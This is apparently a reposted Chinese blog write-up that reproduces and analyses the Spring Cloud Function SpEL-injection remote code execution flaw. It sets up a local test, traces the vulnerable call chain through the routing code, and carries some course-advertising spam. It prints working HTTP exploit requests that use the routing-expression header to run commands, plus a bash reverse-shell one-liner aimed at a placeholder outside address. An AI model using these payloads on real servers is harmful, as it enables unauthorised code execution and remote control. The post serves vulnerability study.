在线不卡日本ⅴ一区v二区_精品一区二区中文字幕_天堂v在线视频_亚洲五月天婷婷中文网站

  • <menu id="lky3g"></menu>
  • <style id="lky3g"></style>
    <pre id="lky3g"><tt id="lky3g"></tt></pre>

    Spring Cloud Function SpEL表達式RCE漏洞復(fù)現(xiàn)分析

    簡介

    Spring Cloud功能特點

    ![image-20220403143623101](Spring Cloud Function SpEL表達式RCE漏洞復(fù)現(xiàn)分析.assets/image-20220403143623101.png)

    影響版本

    3.0.0.M3 <= Spring Cloud Function <=3.2.2

    漏洞復(fù)現(xiàn)

    環(huán)境搭建

    選擇版本為V3.1.6

    根據(jù)Tags的更新時間選擇,還是選擇3.1.6比較穩(wěn)妥,使用IDEA導(dǎo)入項目

    ![image-20220401212613169](Spring Cloud Function SpEL表達式RCE漏洞復(fù)現(xiàn)分析.assets/image-20220401212613169.png)

    jar包的下載確實很慢,真是麻了。實際上不用下載那么多jar包,確實用不到,導(dǎo)入項目于spring-cloud-function-3.1.6spring-cloud-function-3.1.6spring-cloud-function-samplesfunction-sample-pojo修改配置文件spring-cloud-function-3.1.6spring-cloud-function-3.1.6spring-cloud-function-samplesfunction-sample-pojosrcmainresourcesappliaction.properties添加

    spring.cloud.function.definition:functionRouter

    ![image-20220402110243791](Spring Cloud Function SpEL表達式RCE漏洞復(fù)現(xiàn)分析.assets/image-20220402110243791.png)

    配置maven啟動項目

    ![image-20220402110326017](Spring Cloud Function SpEL表達式RCE漏洞復(fù)現(xiàn)分析.assets/image-20220402110326017.png)

    ![image-20220402110354865](Spring Cloud Function SpEL表達式RCE漏洞復(fù)現(xiàn)分析.assets/image-20220402110354865.png)

    http://127.0.0.1:8080

    ![image-20220402110436556](Spring Cloud Function SpEL表達式RCE漏洞復(fù)現(xiàn)分析.assets/image-20220402110436556.png)

    【——全網(wǎng)最全的網(wǎng)絡(luò)安全學(xué)習(xí)資料包分享給愛學(xué)習(xí)的你,關(guān)注我,私信回復(fù)“資料領(lǐng)取”獲取——】1.網(wǎng)絡(luò)安全多個方向?qū)W習(xí)路線2.全網(wǎng)最全的CTF入門學(xué)習(xí)資料3.一線大佬實戰(zhàn)經(jīng)驗分享筆記4.網(wǎng)安大廠面試題合集5.紅藍對抗實戰(zhàn)技術(shù)秘籍6.網(wǎng)絡(luò)安全基礎(chǔ)入門、Linux、web安全、滲透測試方面視頻

    利用

    構(gòu)造payload

    POST /Ggoodstudy HTTP/1.1Host: 127.0.0.1:8080spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec(“calc.exe”)Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Length: 4gdsf

    ![image-20220403144205124](Spring Cloud Function SpEL表達式RCE漏洞復(fù)現(xiàn)分析.assets/image-20220403144205124.png)

    這不就吐了么,修改配置文件才能RCE????

    ![image-20220403205706193](Spring Cloud Function SpEL表達式RCE漏洞復(fù)現(xiàn)分析.assets/image-20220403205706193.png)

    但是修改路由,當路由指定為functionRouter的時候,不修改配置文件已經(jīng)可以執(zhí)行惡意payload

    POST /functionRouter HTTP/1.1Host: 127.0.0.1:8080spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec(“calc.exe”)Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Length: 14dfdfijkghjkg

    ![image-20220402105622478](Spring Cloud Function SpEL表達式RCE漏洞復(fù)現(xiàn)分析.assets/image-20220402105622478.png)

    POST請求且必須傳參。

    反彈shell

    bash -i >& /dev/tvp/xx.xxx.xx.xx/port 0>&1

    進行base64編碼,由于這里我使用的是windows環(huán)境,所以無法使用反彈shell,具體需要對反彈shell命令進行編碼的原因在分析CVE-2018-1270的時候已經(jīng)分析過了。

    ![image-20220403205921339](Spring Cloud Function SpEL表達式RCE漏洞復(fù)現(xiàn)分析.assets/image-20220403205921339.png)

    漏洞分析

    首先我們需要了解到spring框架中比較常見的幾個jar包

    • spring-beans所有應(yīng)用都要用到的,它包含訪問配置文件、創(chuàng)建和管理bean 以及進行Inversion of Control / Dependency Injection(IoC/DI)操作相關(guān)的所有類。
    • spring-Expression進行SpEL表達式解析
    • spring-coreSpring 框架基本的核心工具類。Spring 其它組件要都要使用到這個包里的類,是其它組件的基本核心
    • spring-jdbc存放對jdbc數(shù)據(jù)庫數(shù)據(jù)訪問所有相關(guān)的類
    • spring-messaging

    api以及協(xié)議接口

    • spring-context為Spring核心提供了大量擴展。可以找到使用Spring ApplicationContext特性時所需的全部類
    • spring-web包含Web 應(yīng)用開發(fā)時,用到Spring 框架時所需的核心類,包括自動載入Web Application Context 特性的類、Struts 與JSF 集成類、文件上傳的支持類、Filter 類和大量工具輔助類。
    • pring-webmvc包含Spring MVC 框架相關(guān)的所有類。包括框架的Servlets,Web MVC框架,控制器和視圖支持。

    向上查找利用鏈

    SpEL表達式的內(nèi)容是在spring-expression中處理的,在RoutingFunction類中調(diào)用

    ![image-20220403135602783](Spring Cloud Function SpEL表達式RCE漏洞復(fù)現(xiàn)分析.assets/image-20220403135602783.png)

    這里會取出spring.cloud.function.routing-expression:屬性的spel表達式

    ![image-20220402125700409](Spring Cloud Function SpEL表達式RCE漏洞復(fù)現(xiàn)分析.assets/image-20220402125700409.png)

    這個方法屬于布爾型的判斷,這里的屬性構(gòu)造在請求頭內(nèi),調(diào)用了apply方法

    ![image-20220402131335916](Spring Cloud Function SpEL表達式RCE漏洞復(fù)現(xiàn)分析.assets/image-20220402131335916.png)

    繼續(xù)向上分析

    ![image-20220403232506444](Spring Cloud Function SpEL表達式RCE漏洞復(fù)現(xiàn)分析.assets/image-20220403232506444.png)

    到達SimpleFunctionRegistry.java類的698行,這個apply的方法的觸發(fā)時

    ![image-20220403232638460](Spring Cloud Function SpEL表達式RCE漏洞復(fù)現(xiàn)分析.assets/image-20220403232638460.png)

    是在646行定義的,且調(diào)用方法doapply,而doapply也在apply方法中調(diào)用了,在往上查找就到了FunctionWebRequestProcessingHelper類的processRequest方法

    ![image-20220403232852540](Spring Cloud Function SpEL表達式RCE漏洞復(fù)現(xiàn)分析.assets/image-20220403232852540.png)

    繼續(xù)向上查找,到了控制層了,到此為止我們的向上查找已經(jīng)結(jié)束,利用鏈很強清晰,那么對不對呢,我們使用向下查找利用鏈來做驗證,請看下文

    找到一個非常nice的入門課程,復(fù)制鏈接即可報名:

    https://img.wlmqw.com/uploads/2022/07/yxtjrq2dz5v.)

    調(diào)用FunctionWebRequestProcessingHelper類中的http請求參數(shù)方法processRequest

    ![image-20220403224410232](Spring Cloud Function SpEL表達式RCE漏洞復(fù)現(xiàn)分析.assets/image-20220403224410232.png)

    可以看到processRequest方法會獲取到我們構(gòu)造payload的方法,在方法為RoutingFunction的情況下會直接調(diào)用RoutingFunction類中的applay方法

    ![image-20220403230139777](Spring Cloud Function SpEL表達式RCE漏洞復(fù)現(xiàn)分析.assets/image-20220403230139777.png)

    此時我們可以看到這里調(diào)用了Route方法

    ![image-20220403230252876](Spring Cloud Function SpEL表達式RCE漏洞復(fù)現(xiàn)分析.assets/image-20220403230252876.png)

    而在該方法中會讀取構(gòu)造的請求頭spring.cloud.function.routing-expression屬性的值,調(diào)用了方法functionFormExpression,但是在該方法中的parseExpression方法會對SpEL表達式進行解析

    ![image-20220403231034277](Spring Cloud Function SpEL表達式RCE漏洞復(fù)現(xiàn)分析.assets/image-20220403231034277.png)

    ![image-20220403231137695](Spring Cloud Function SpEL表達式RCE漏洞復(fù)現(xiàn)分析.assets/image-20220403231137695.png)

    那么我們在調(diào)試的過程中

    ![image-20220403231320620](Spring Cloud Function SpEL表達式RCE漏洞復(fù)現(xiàn)分析.assets/image-20220403231320620-16489988015211.png)

    getValue方法執(zhí)行的又是什么呢?

    這里自然是執(zhí)行的傳入的paylaod的內(nèi)容以及執(zhí)行解析后的表達式

    到這里我們能夠發(fā)現(xiàn)兩條鏈剛好是對稱的,說明分析沒有問題。

    總結(jié)

    分析了spring-cloud-function可以發(fā)現(xiàn),spring框架的幾個由SpEL表達式注入造成的RCE的觸發(fā)點基本上都很相似,觸發(fā)類以及觸發(fā)路由分析對于漏洞挖掘來說都有可以借鑒的地方。

    鄭重聲明:本文內(nèi)容及圖片均整理自互聯(lián)網(wǎng),不代表本站立場,版權(quán)歸原作者所有,如有侵權(quán)請聯(lián)系管理員(admin#wlmqw.com)刪除。
    上一篇 2022年7月21日 01:05
    下一篇 2022年7月21日 01:05

    相關(guān)推薦

    聯(lián)系我們

    聯(lián)系郵箱:admin#wlmqw.com
    工作時間:周一至周五,10:30-18:30,節(jié)假日休息